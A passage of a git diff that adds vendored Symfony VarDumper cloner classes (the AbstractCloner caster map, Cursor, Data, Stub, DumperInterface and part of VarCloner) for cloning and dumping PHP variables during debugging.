['Symfony\Component\VarDumper\Caster\DoctrineCaster', 'castOrmProxy'], + 'Doctrine\ORM\PersistentCollection' => ['Symfony\Component\VarDumper\Caster\DoctrineCaster', 'castPersistentCollection'], + 'Doctrine\Persistence\ObjectManager' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], + + 'DOMException' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castException'], + 'DOMStringList' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castLength'], + 'DOMNameList' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castLength'], + 'DOMImplementation' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castImplementation'], + 'DOMImplementationList' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castLength'], + 'DOMNode' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castNode'], + 'DOMNameSpaceNode' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castNameSpaceNode'], + 'DOMDocument' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castDocument'], + 'DOMNodeList' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castLength'], + 'DOMNamedNodeMap' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castLength'], + 'DOMCharacterData' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castCharacterData'], + 'DOMAttr' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castAttr'], + 'DOMElement' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castElement'], + 'DOMText' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castText'], + 'DOMTypeinfo' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castTypeinfo'], + 'DOMDomError' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castDomError'], + 'DOMLocator' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castLocator'], + 'DOMDocumentType' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castDocumentType'], + 'DOMNotation' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castNotation'], + 'DOMEntity' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castEntity'], + 'DOMProcessingInstruction' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castProcessingInstruction'], + 'DOMXPath' => ['Symfony\Component\VarDumper\Caster\DOMCaster', 'castXPath'], + + 'XMLReader' => ['Symfony\Component\VarDumper\Caster\XmlReaderCaster', 'castXmlReader'], + + 'ErrorException' => ['Symfony\Component\VarDumper\Caster\ExceptionCaster', 'castErrorException'], + 'Exception' => ['Symfony\Component\VarDumper\Caster\ExceptionCaster', 'castException'], + 'Error' => ['Symfony\Component\VarDumper\Caster\ExceptionCaster', 'castError'], + 'Symfony\Component\DependencyInjection\ContainerInterface' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], + 'Symfony\Component\EventDispatcher\EventDispatcherInterface' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], + 'Symfony\Component\HttpClient\CurlHttpClient' => ['Symfony\Component\VarDumper\Caster\SymfonyCaster', 'castHttpClient'], + 'Symfony\Component\HttpClient\NativeHttpClient' => ['Symfony\Component\VarDumper\Caster\SymfonyCaster', 'castHttpClient'], + 'Symfony\Component\HttpClient\Response\CurlResponse' => ['Symfony\Component\VarDumper\Caster\SymfonyCaster', 'castHttpClientResponse'], + 'Symfony\Component\HttpClient\Response\NativeResponse' => ['Symfony\Component\VarDumper\Caster\SymfonyCaster', 'castHttpClientResponse'], + 'Symfony\Component\HttpFoundation\Request' => ['Symfony\Component\VarDumper\Caster\SymfonyCaster', 'castRequest'], + 'Symfony\Component\VarDumper\Exception\ThrowingCasterException' => ['Symfony\Component\VarDumper\Caster\ExceptionCaster', 'castThrowingCasterException'], + 'Symfony\Component\VarDumper\Caster\TraceStub' => ['Symfony\Component\VarDumper\Caster\ExceptionCaster', 'castTraceStub'], + 'Symfony\Component\VarDumper\Caster\FrameStub' => ['Symfony\Component\VarDumper\Caster\ExceptionCaster', 'castFrameStub'], + 'Symfony\Component\VarDumper\Cloner\AbstractCloner' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], + 'Symfony\Component\ErrorHandler\Exception\SilencedErrorContext' => ['Symfony\Component\VarDumper\Caster\ExceptionCaster', 'castSilencedErrorContext'], + + 'Imagine\Image\ImageInterface' => ['Symfony\Component\VarDumper\Caster\ImagineCaster', 'castImage'], + + 'Ramsey\Uuid\UuidInterface' => ['Symfony\Component\VarDumper\Caster\UuidCaster', 'castRamseyUuid'], + + 'ProxyManager\Proxy\ProxyInterface' => ['Symfony\Component\VarDumper\Caster\ProxyManagerCaster', 'castProxy'], + 'PHPUnit_Framework_MockObject_MockObject' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], + 'PHPUnit\Framework\MockObject\MockObject' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], + 'PHPUnit\Framework\MockObject\Stub' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], + 'Prophecy\Prophecy\ProphecySubjectInterface' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], + 'Mockery\MockInterface' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], + + 'PDO' => ['Symfony\Component\VarDumper\Caster\PdoCaster', 'castPdo'], + 'PDOStatement' => ['Symfony\Component\VarDumper\Caster\PdoCaster', 'castPdoStatement'], + + 'AMQPConnection' => ['Symfony\Component\VarDumper\Caster\AmqpCaster', 'castConnection'], + 'AMQPChannel' => ['Symfony\Component\VarDumper\Caster\AmqpCaster', 'castChannel'], + 'AMQPQueue' => ['Symfony\Component\VarDumper\Caster\AmqpCaster', 'castQueue'], + 'AMQPExchange' => ['Symfony\Component\VarDumper\Caster\AmqpCaster', 'castExchange'], + 'AMQPEnvelope' => ['Symfony\Component\VarDumper\Caster\AmqpCaster', 'castEnvelope'], + + 'ArrayObject' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castArrayObject'], + 'ArrayIterator' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castArrayIterator'], + 'SplDoublyLinkedList' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castDoublyLinkedList'], + 'SplFileInfo' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castFileInfo'], + 'SplFileObject' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castFileObject'], + 'SplHeap' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castHeap'], + 'SplObjectStorage' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castObjectStorage'], + 'SplPriorityQueue' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castHeap'], + 'OuterIterator' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castOuterIterator'], + 'WeakReference' => ['Symfony\Component\VarDumper\Caster\SplCaster', 'castWeakReference'], + + 'Redis' => ['Symfony\Component\VarDumper\Caster\RedisCaster', 'castRedis'], + 'RedisArray' => ['Symfony\Component\VarDumper\Caster\RedisCaster', 'castRedisArray'], + 'RedisCluster' => ['Symfony\Component\VarDumper\Caster\RedisCaster', 'castRedisCluster'], + + 'DateTimeInterface' => ['Symfony\Component\VarDumper\Caster\DateCaster', 'castDateTime'], + 'DateInterval' => ['Symfony\Component\VarDumper\Caster\DateCaster', 'castInterval'], + 'DateTimeZone' => ['Symfony\Component\VarDumper\Caster\DateCaster', 'castTimeZone'], + 'DatePeriod' => ['Symfony\Component\VarDumper\Caster\DateCaster', 'castPeriod'], + + 'GMP' => ['Symfony\Component\VarDumper\Caster\GmpCaster', 'castGmp'], + + 'MessageFormatter' => ['Symfony\Component\VarDumper\Caster\IntlCaster', 'castMessageFormatter'], + 'NumberFormatter' => ['Symfony\Component\VarDumper\Caster\IntlCaster', 'castNumberFormatter'], + 'IntlTimeZone' => ['Symfony\Component\VarDumper\Caster\IntlCaster', 'castIntlTimeZone'], + 'IntlCalendar' => ['Symfony\Component\VarDumper\Caster\IntlCaster', 'castIntlCalendar'], + 'IntlDateFormatter' => ['Symfony\Component\VarDumper\Caster\IntlCaster', 'castIntlDateFormatter'], + + 'Memcached' => ['Symfony\Component\VarDumper\Caster\MemcachedCaster', 'castMemcached'], + + 'Ds\Collection' => ['Symfony\Component\VarDumper\Caster\DsCaster', 'castCollection'], + 'Ds\Map' => ['Symfony\Component\VarDumper\Caster\DsCaster', 'castMap'], + 'Ds\Pair' => ['Symfony\Component\VarDumper\Caster\DsCaster', 'castPair'], + 'Symfony\Component\VarDumper\Caster\DsPairStub' => ['Symfony\Component\VarDumper\Caster\DsCaster', 'castPairStub'], + + 'CurlHandle' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castCurl'], + ':curl' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castCurl'], + + ':dba' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castDba'], + ':dba persistent' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castDba'], + ':gd' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castGd'], + ':mysql link' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castMysqlLink'], + ':pgsql large object' => ['Symfony\Component\VarDumper\Caster\PgSqlCaster', 'castLargeObject'], + ':pgsql link' => ['Symfony\Component\VarDumper\Caster\PgSqlCaster', 'castLink'], + ':pgsql link persistent' => ['Symfony\Component\VarDumper\Caster\PgSqlCaster', 'castLink'], + ':pgsql result' => ['Symfony\Component\VarDumper\Caster\PgSqlCaster', 'castResult'], + ':process' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castProcess'], + ':stream' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castStream'], + ':OpenSSL X.509' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castOpensslX509'], + ':persistent stream' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castStream'], + ':stream-context' => ['Symfony\Component\VarDumper\Caster\ResourceCaster', 'castStreamContext'], + ':xml' => ['Symfony\Component\VarDumper\Caster\XmlResourceCaster', 'castXml'], + ]; + + protected $maxItems = 2500; + protected $maxString = -1; + protected $minDepth = 1; + + private $casters = []; + private $prevErrorHandler; + private $classInfo = []; + private $filter = 0; + + /** + * @param callable[]|null $casters A map of casters + * + * @see addCasters + */ + public function __construct(array $casters = null) + { + if (null === $casters) { + $casters = static::$defaultCasters; + } + $this->addCasters($casters); + } + + /** + * Adds casters for resources and objects. + * + * Maps resources or objects types to a callback. + * Types are in the key, with a callable caster for value. + * Resource types are to be prefixed with a `:`, + * see e.g. static::$defaultCasters. + * + * @param callable[] $casters A map of casters + */ + public function addCasters(array $casters) + { + foreach ($casters as $type => $callback) { + $this->casters[$type][] = $callback; + } + } + + /** + * Sets the maximum number of items to clone past the minimum depth in nested structures. + * + * @param int $maxItems + */ + public function setMaxItems($maxItems) + { + $this->maxItems = (int) $maxItems; + } + + /** + * Sets the maximum cloned length for strings. + * + * @param int $maxString + */ + public function setMaxString($maxString) + { + $this->maxString = (int) $maxString; + } + + /** + * Sets the minimum tree depth where we are guaranteed to clone all the items. After this + * depth is reached, only setMaxItems items will be cloned. + * + * @param int $minDepth + */ + public function setMinDepth($minDepth) + { + $this->minDepth = (int) $minDepth; + } + + /** + * Clones a PHP variable. + * + * @param mixed $var Any PHP variable + * @param int $filter A bit field of Caster::EXCLUDE_* constants + * + * @return Data The cloned variable represented by a Data object + */ + public function cloneVar($var, $filter = 0) + { + $this->prevErrorHandler = set_error_handler(function ($type, $msg, $file, $line, $context = []) { + if (\E_RECOVERABLE_ERROR === $type || \E_USER_ERROR === $type) { + // Cloner never dies + throw new \ErrorException($msg, 0, $type, $file, $line); + } + + if ($this->prevErrorHandler) { + return ($this->prevErrorHandler)($type, $msg, $file, $line, $context); + } + + return false; + }); + $this->filter = $filter; + + if ($gc = gc_enabled()) { + gc_disable(); + } + try { + return new Data($this->doClone($var)); + } finally { + if ($gc) { + gc_enable(); + } + restore_error_handler(); + $this->prevErrorHandler = null; + } + } + + /** + * Effectively clones the PHP variable. + * + * @param mixed $var Any PHP variable + * + * @return array The cloned variable represented in an array + */ + abstract protected function doClone($var); + + /** + * Casts an object to an array representation. + * + * @param bool $isNested True if the object is nested in the dumped structure + * + * @return array The object casted as array + */ + protected function castObject(Stub $stub, $isNested) + { + $obj = $stub->value; + $class = $stub->class; + + if (\PHP_VERSION_ID < 80000 ? "\0" === ($class[15] ?? null) : false !== strpos($class, "@anonymous\0")) { + $stub->class = get_debug_type($obj); + } + if (isset($this->classInfo[$class])) { + list($i, $parents, $hasDebugInfo, $fileInfo) = $this->classInfo[$class]; + } else { + $i = 2; + $parents = [$class]; + $hasDebugInfo = method_exists($class, '__debugInfo'); + + foreach (class_parents($class) as $p) { + $parents[] = $p; + ++$i; + } + foreach (class_implements($class) as $p) { + $parents[] = $p; + ++$i; + } + $parents[] = '*'; + + $r = new \ReflectionClass($class); + $fileInfo = $r->isInternal() || $r->isSubclassOf(Stub::class) ? [] : [ + 'file' => $r->getFileName(), + 'line' => $r->getStartLine(), + ]; + + $this->classInfo[$class] = [$i, $parents, $hasDebugInfo, $fileInfo]; + } + + $stub->attr += $fileInfo; + $a = Caster::castObject($obj, $class, $hasDebugInfo, $stub->class); + + try { + while ($i--) { + if (!empty($this->casters[$p = $parents[$i]])) { + foreach ($this->casters[$p] as $callback) { + $a = $callback($obj, $a, $stub, $isNested, $this->filter); + } + } + } + } catch (\Exception $e) { + $a = [(Stub::TYPE_OBJECT === $stub->type ? Caster::PREFIX_VIRTUAL : '').'⚠' => new ThrowingCasterException($e)] + $a; + } + + return $a; + } + + /** + * Casts a resource to an array representation. + * + * @param bool $isNested True if the object is nested in the dumped structure + * + * @return array The resource casted as array + */ + protected function castResource(Stub $stub, $isNested) + { + $a = []; + $res = $stub->value; + $type = $stub->class; + + try { + if (!empty($this->casters[':'.$type])) { + foreach ($this->casters[':'.$type] as $callback) { + $a = $callback($res, $a, $stub, $isNested, $this->filter); + } + } + } catch (\Exception $e) { + $a = [(Stub::TYPE_OBJECT === $stub->type ? Caster::PREFIX_VIRTUAL : '').'⚠' => new ThrowingCasterException($e)] + $a; + } + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Cloner/ClonerInterface.php b/vendor/symfony/var-dumper/Cloner/ClonerInterface.php new file mode 100644 index 0000000..7ed287a --- /dev/null +++ b/vendor/symfony/var-dumper/Cloner/ClonerInterface.php @@ -0,0 +1,27 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Cloner; + +/** + * @author Nicolas Grekas + */ +interface ClonerInterface +{ + /** + * Clones a PHP variable. + * + * @param mixed $var Any PHP variable + * + * @return Data The cloned variable represented by a Data object + */ + public function cloneVar($var); +} diff --git a/vendor/symfony/var-dumper/Cloner/Cursor.php b/vendor/symfony/var-dumper/Cloner/Cursor.php new file mode 100644 index 0000000..5b0542f --- /dev/null +++ b/vendor/symfony/var-dumper/Cloner/Cursor.php @@ -0,0 +1,43 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Cloner; + +/** + * Represents the current state of a dumper while dumping. + * + * @author Nicolas Grekas + */ +class Cursor +{ + const HASH_INDEXED = Stub::ARRAY_INDEXED; + const HASH_ASSOC = Stub::ARRAY_ASSOC; + const HASH_OBJECT = Stub::TYPE_OBJECT; + const HASH_RESOURCE = Stub::TYPE_RESOURCE; + + public $depth = 0; + public $refIndex = 0; + public $softRefTo = 0; + public $softRefCount = 0; + public $softRefHandle = 0; + public $hardRefTo = 0; + public $hardRefCount = 0; + public $hardRefHandle = 0; + public $hashType; + public $hashKey; + public $hashKeyIsBinary; + public $hashIndex = 0; + public $hashLength = 0; + public $hashCut = 0; + public $stop = false; + public $attr = []; + public $skipChildren = false; +} diff --git a/vendor/symfony/var-dumper/Cloner/Data.php b/vendor/symfony/var-dumper/Cloner/Data.php new file mode 100644 index 0000000..52d86ed --- /dev/null +++ b/vendor/symfony/var-dumper/Cloner/Data.php @@ -0,0 +1,455 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Cloner; + +use Symfony\Component\VarDumper\Caster\Caster; +use Symfony\Component\VarDumper\Dumper\ContextProvider\SourceContextProvider; + +/** + * @author Nicolas Grekas + */ +class Data implements \ArrayAccess, \Countable, \IteratorAggregate +{ + private $data; + private $position = 0; + private $key = 0; + private $maxDepth = 20; + private $maxItemsPerDepth = -1; + private $useRefHandles = -1; + private $context = []; + + /** + * @param array $data An array as returned by ClonerInterface::cloneVar() + */ + public function __construct(array $data) + { + $this->data = $data; + } + + /** + * @return string|null The type of the value + */ + public function getType() + { + $item = $this->data[$this->position][$this->key]; + + if ($item instanceof Stub && Stub::TYPE_REF === $item->type && !$item->position) { + $item = $item->value; + } + if (!$item instanceof Stub) { + return \gettype($item); + } + if (Stub::TYPE_STRING === $item->type) { + return 'string'; + } + if (Stub::TYPE_ARRAY === $item->type) { + return 'array'; + } + if (Stub::TYPE_OBJECT === $item->type) { + return $item->class; + } + if (Stub::TYPE_RESOURCE === $item->type) { + return $item->class.' resource'; + } + + return null; + } + + /** + * @param array|bool $recursive Whether values should be resolved recursively or not + * + * @return string|int|float|bool|array|Data[]|null A native representation of the original value + */ + public function getValue($recursive = false) + { + $item = $this->data[$this->position][$this->key]; + + if ($item instanceof Stub && Stub::TYPE_REF === $item->type && !$item->position) { + $item = $item->value; + } + if (!($item = $this->getStub($item)) instanceof Stub) { + return $item; + } + if (Stub::TYPE_STRING === $item->type) { + return $item->value; + } + + $children = $item->position ? $this->data[$item->position] : []; + + foreach ($children as $k => $v) { + if ($recursive && !($v = $this->getStub($v)) instanceof Stub) { + continue; + } + $children[$k] = clone $this; + $children[$k]->key = $k; + $children[$k]->position = $item->position; + + if ($recursive) { + if (Stub::TYPE_REF === $v->type && ($v = $this->getStub($v->value)) instanceof Stub) { + $recursive = (array) $recursive; + if (isset($recursive[$v->position])) { + continue; + } + $recursive[$v->position] = true; + } + $children[$k] = $children[$k]->getValue($recursive); + } + } + + return $children; + } + + /** + * @return int + */ + public function count() + { + return \count($this->getValue()); + } + + /** + * @return \Traversable + */ + public function getIterator() + { + if (!\is_array($value = $this->getValue())) { + throw new \LogicException(sprintf('"%s" object holds non-iterable type "%s".', self::class, \gettype($value))); + } + + yield from $value; + } + + public function __get($key) + { + if (null !== $data = $this->seek($key)) { + $item = $this->getStub($data->data[$data->position][$data->key]); + + return $item instanceof Stub || [] === $item ? $data : $item; + } + + return null; + } + + /** + * @return bool + */ + public function __isset($key) + { + return null !== $this->seek($key); + } + + /** + * @return bool + */ + public function offsetExists($key) + { + return $this->__isset($key); + } + + public function offsetGet($key) + { + return $this->__get($key); + } + + public function offsetSet($key, $value) + { + throw new \BadMethodCallException(self::class.' objects are immutable.'); + } + + public function offsetUnset($key) + { + throw new \BadMethodCallException(self::class.' objects are immutable.'); + } + + /** + * @return string + */ + public function __toString() + { + $value = $this->getValue(); + + if (!\is_array($value)) { + return (string) $value; + } + + return sprintf('%s (count=%d)', $this->getType(), \count($value)); + } + + /** + * Returns a depth limited clone of $this. + * + * @param int $maxDepth The max dumped depth level + * + * @return static + */ + public function withMaxDepth($maxDepth) + { + $data = clone $this; + $data->maxDepth = (int) $maxDepth; + + return $data; + } + + /** + * Limits the number of elements per depth level. + * + * @param int $maxItemsPerDepth The max number of items dumped per depth level + * + * @return static + */ + public function withMaxItemsPerDepth($maxItemsPerDepth) + { + $data = clone $this; + $data->maxItemsPerDepth = (int) $maxItemsPerDepth; + + return $data; + } + + /** + * Enables/disables objects' identifiers tracking. + * + * @param bool $useRefHandles False to hide global ref. handles + * + * @return static + */ + public function withRefHandles($useRefHandles) + { + $data = clone $this; + $data->useRefHandles = $useRefHandles ? -1 : 0; + + return $data; + } + + /** + * @return static + */ + public function withContext(array $context) + { + $data = clone $this; + $data->context = $context; + + return $data; + } + + /** + * Seeks to a specific key in nested data structures. + * + * @param string|int $key The key to seek to + * + * @return static|null Null if the key is not set + */ + public function seek($key) + { + $item = $this->data[$this->position][$this->key]; + + if ($item instanceof Stub && Stub::TYPE_REF === $item->type && !$item->position) { + $item = $item->value; + } + if (!($item = $this->getStub($item)) instanceof Stub || !$item->position) { + return null; + } + $keys = [$key]; + + switch ($item->type) { + case Stub::TYPE_OBJECT: + $keys[] = Caster::PREFIX_DYNAMIC.$key; + $keys[] = Caster::PREFIX_PROTECTED.$key; + $keys[] = Caster::PREFIX_VIRTUAL.$key; + $keys[] = "\0$item->class\0$key"; + // no break + case Stub::TYPE_ARRAY: + case Stub::TYPE_RESOURCE: + break; + default: + return null; + } + + $data = null; + $children = $this->data[$item->position]; + + foreach ($keys as $key) { + if (isset($children[$key]) || \array_key_exists($key, $children)) { + $data = clone $this; + $data->key = $key; + $data->position = $item->position; + break; + } + } + + return $data; + } + + /** + * Dumps data with a DumperInterface dumper. + */ + public function dump(DumperInterface $dumper) + { + $refs = [0]; + $cursor = new Cursor(); + + if ($cursor->attr = $this->context[SourceContextProvider::class] ?? []) { + $cursor->attr['if_links'] = true; + $cursor->hashType = -1; + $dumper->dumpScalar($cursor, 'default', '^'); + $cursor->attr = ['if_links' => true]; + $dumper->dumpScalar($cursor, 'default', ' '); + $cursor->hashType = 0; + } + + $this->dumpItem($dumper, $cursor, $refs, $this->data[$this->position][$this->key]); + } + + /** + * Depth-first dumping of items. + * + * @param mixed $item A Stub object or the original value being dumped + */ + private function dumpItem(DumperInterface $dumper, Cursor $cursor, array &$refs, $item) + { + $cursor->refIndex = 0; + $cursor->softRefTo = $cursor->softRefHandle = $cursor->softRefCount = 0; + $cursor->hardRefTo = $cursor->hardRefHandle = $cursor->hardRefCount = 0; + $firstSeen = true; + + if (!$item instanceof Stub) { + $cursor->attr = []; + $type = \gettype($item); + if ($item && 'array' === $type) { + $item = $this->getStub($item); + } + } elseif (Stub::TYPE_REF === $item->type) { + if ($item->handle) { + if (!isset($refs[$r = $item->handle - (\PHP_INT_MAX >> 1)])) { + $cursor->refIndex = $refs[$r] = $cursor->refIndex ?: ++$refs[0]; + } else { + $firstSeen = false; + } + $cursor->hardRefTo = $refs[$r]; + $cursor->hardRefHandle = $this->useRefHandles & $item->handle; + $cursor->hardRefCount = $item->refCount; + } + $cursor->attr = $item->attr; + $type = $item->class ?: \gettype($item->value); + $item = $this->getStub($item->value); + } + if ($item instanceof Stub) { + if ($item->refCount) { + if (!isset($refs[$r = $item->handle])) { + $cursor->refIndex = $refs[$r] = $cursor->refIndex ?: ++$refs[0]; + } else { + $firstSeen = false; + } + $cursor->softRefTo = $refs[$r]; + } + $cursor->softRefHandle = $this->useRefHandles & $item->handle; + $cursor->softRefCount = $item->refCount; + $cursor->attr = $item->attr; + $cut = $item->cut; + + if ($item->position && $firstSeen) { + $children = $this->data[$item->position]; + + if ($cursor->stop) { + if ($cut >= 0) { + $cut += \count($children); + } + $children = []; + } + } else { + $children = []; + } + switch ($item->type) { + case Stub::TYPE_STRING: + $dumper->dumpString($cursor, $item->value, Stub::STRING_BINARY === $item->class, $cut); + break; + + case Stub::TYPE_ARRAY: + $item = clone $item; + $item->type = $item->class; + $item->class = $item->value; + // no break + case Stub::TYPE_OBJECT: + case Stub::TYPE_RESOURCE: + $withChildren = $children && $cursor->depth !== $this->maxDepth && $this->maxItemsPerDepth; + $dumper->enterHash($cursor, $item->type, $item->class, $withChildren); + if ($withChildren) { + if ($cursor->skipChildren) { + $withChildren = false; + $cut = -1; + } else { + $cut = $this->dumpChildren($dumper, $cursor, $refs, $children, $cut, $item->type, null !== $item->class); + } + } elseif ($children && 0 <= $cut) { + $cut += \count($children); + } + $cursor->skipChildren = false; + $dumper->leaveHash($cursor, $item->type, $item->class, $withChildren, $cut); + break; + + default: + throw new \RuntimeException(sprintf('Unexpected Stub type: "%s".', $item->type)); + } + } elseif ('array' === $type) { + $dumper->enterHash($cursor, Cursor::HASH_INDEXED, 0, false); + $dumper->leaveHash($cursor, Cursor::HASH_INDEXED, 0, false, 0); + } elseif ('string' === $type) { + $dumper->dumpString($cursor, $item, false, 0); + } else { + $dumper->dumpScalar($cursor, $type, $item); + } + } + + /** + * Dumps children of hash structures. + * + * @return int The final number of removed items + */ + private function dumpChildren(DumperInterface $dumper, Cursor $parentCursor, array &$refs, array $children, int $hashCut, int $hashType, bool $dumpKeys): int + { + $cursor = clone $parentCursor; + ++$cursor->depth; + $cursor->hashType = $hashType; + $cursor->hashIndex = 0; + $cursor->hashLength = \count($children); + $cursor->hashCut = $hashCut; + foreach ($children as $key => $child) { + $cursor->hashKeyIsBinary = isset($key[0]) && !preg_match('//u', $key); + $cursor->hashKey = $dumpKeys ? $key : null; + $this->dumpItem($dumper, $cursor, $refs, $child); + if (++$cursor->hashIndex === $this->maxItemsPerDepth || $cursor->stop) { + $parentCursor->stop = true; + + return $hashCut >= 0 ? $hashCut + $cursor->hashLength - $cursor->hashIndex : $hashCut; + } + } + + return $hashCut; + } + + private function getStub($item) + { + if (!$item || !\is_array($item)) { + return $item; + } + + $stub = new Stub(); + $stub->type = Stub::TYPE_ARRAY; + foreach ($item as $stub->class => $stub->position) { + } + if (isset($item[0])) { + $stub->cut = $item[0]; + } + $stub->value = $stub->cut + ($stub->position ? \count($this->data[$stub->position]) : 0); + + return $stub; + } +} diff --git a/vendor/symfony/var-dumper/Cloner/DumperInterface.php b/vendor/symfony/var-dumper/Cloner/DumperInterface.php new file mode 100644 index 0000000..ec8ef27 --- /dev/null +++ b/vendor/symfony/var-dumper/Cloner/DumperInterface.php @@ -0,0 +1,56 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Cloner; + +/** + * DumperInterface used by Data objects. + * + * @author Nicolas Grekas + */ +interface DumperInterface +{ + /** + * Dumps a scalar value. + * + * @param string $type The PHP type of the value being dumped + * @param string|int|float|bool $value The scalar value being dumped + */ + public function dumpScalar(Cursor $cursor, $type, $value); + + /** + * Dumps a string. + * + * @param string $str The string being dumped + * @param bool $bin Whether $str is UTF-8 or binary encoded + * @param int $cut The number of characters $str has been cut by + */ + public function dumpString(Cursor $cursor, $str, $bin, $cut); + + /** + * Dumps while entering an hash. + * + * @param int $type A Cursor::HASH_* const for the type of hash + * @param string|int $class The object class, resource type or array count + * @param bool $hasChild When the dump of the hash has child item + */ + public function enterHash(Cursor $cursor, $type, $class, $hasChild); + + /** + * Dumps while leaving an hash. + * + * @param int $type A Cursor::HASH_* const for the type of hash + * @param string|int $class The object class, resource type or array count + * @param bool $hasChild When the dump of the hash has child item + * @param int $cut The number of items the hash has been cut by + */ + public function leaveHash(Cursor $cursor, $type, $class, $hasChild, $cut); +} diff --git a/vendor/symfony/var-dumper/Cloner/Stub.php b/vendor/symfony/var-dumper/Cloner/Stub.php new file mode 100644 index 0000000..7f6d05d --- /dev/null +++ b/vendor/symfony/var-dumper/Cloner/Stub.php @@ -0,0 +1,67 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Cloner; + +/** + * Represents the main properties of a PHP variable. + * + * @author Nicolas Grekas + */ +class Stub +{ + const TYPE_REF = 1; + const TYPE_STRING = 2; + const TYPE_ARRAY = 3; + const TYPE_OBJECT = 4; + const TYPE_RESOURCE = 5; + + const STRING_BINARY = 1; + const STRING_UTF8 = 2; + + const ARRAY_ASSOC = 1; + const ARRAY_INDEXED = 2; + + public $type = self::TYPE_REF; + public $class = ''; + public $value; + public $cut = 0; + public $handle = 0; + public $refCount = 0; + public $position = 0; + public $attr = []; + + private static $defaultProperties = []; + + /** + * @internal + */ + public function __sleep(): array + { + $properties = []; + + if (!isset(self::$defaultProperties[$c = static::class])) { + self::$defaultProperties[$c] = get_class_vars($c); + + foreach ((new \ReflectionClass($c))->getStaticProperties() as $k => $v) { + unset(self::$defaultProperties[$c][$k]); + } + } + + foreach (self::$defaultProperties[$c] as $k => $v) { + if ($this->$k !== $v) { + $properties[] = $k; + } + } + + return $properties; + } +} diff --git a/vendor/symfony/var-dumper/Cloner/VarCloner.php b/vendor/symfony/var-dumper/Cloner/VarCloner.php new file mode 100644 index 0000000..fad05f6 --- /dev/null +++ b/vendor/symfony/var-dumper/Cloner/VarCloner.php @@ -0,0 +1,301 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Cloner; + +/** + * @author Nicolas Grekas + */ +class VarCloner extends AbstractCloner +{ + private static $gid; + private static $arrayCache = []; + + /** + * {@inheritdoc} + */ + protected function doClone($var) + { + $len = 1; // Length of $queue + $pos = 0; // Number of cloned items past the minimum depth + $refsCounter = 0; // Hard references counter + $queue = [[$var]]; // This breadth-first queue is the return value + $indexedArrays = []; // Map of queue indexes that hold numerically indexed arrays + $hardRefs = []; // Map of original zval ids to stub objects + $objRefs = []; // Map of original object handles to their stub object counterpart + $objects = []; // Keep a ref to objects to ensure their handle cannot be reused while cloning + $resRefs = []; // Map of original resource handles to their stub object counterpart + $values = []; // Map of stub objects' ids to original values + $maxItems = $this->maxItems; + $maxString = $this->maxString; + $minDepth = $this->minDepth; + $currentDepth = 0; // Current tree depth + $currentDepthFinalIndex = 0; // Final $queue index for current tree depth + $minimumDepthReached = 0 === $minDepth; // Becomes true when minimum tree depth has been reached + $cookie = (object) []; // Unique object used to detect hard references + $a = null; // Array cast for nested structures + $stub = null; // Stub capturing the main properties of an original item value + // or null if the original value is used directly + + if (!$gid = self::$gid) { + $gid = self::$gid = md5(random_bytes(6)); // 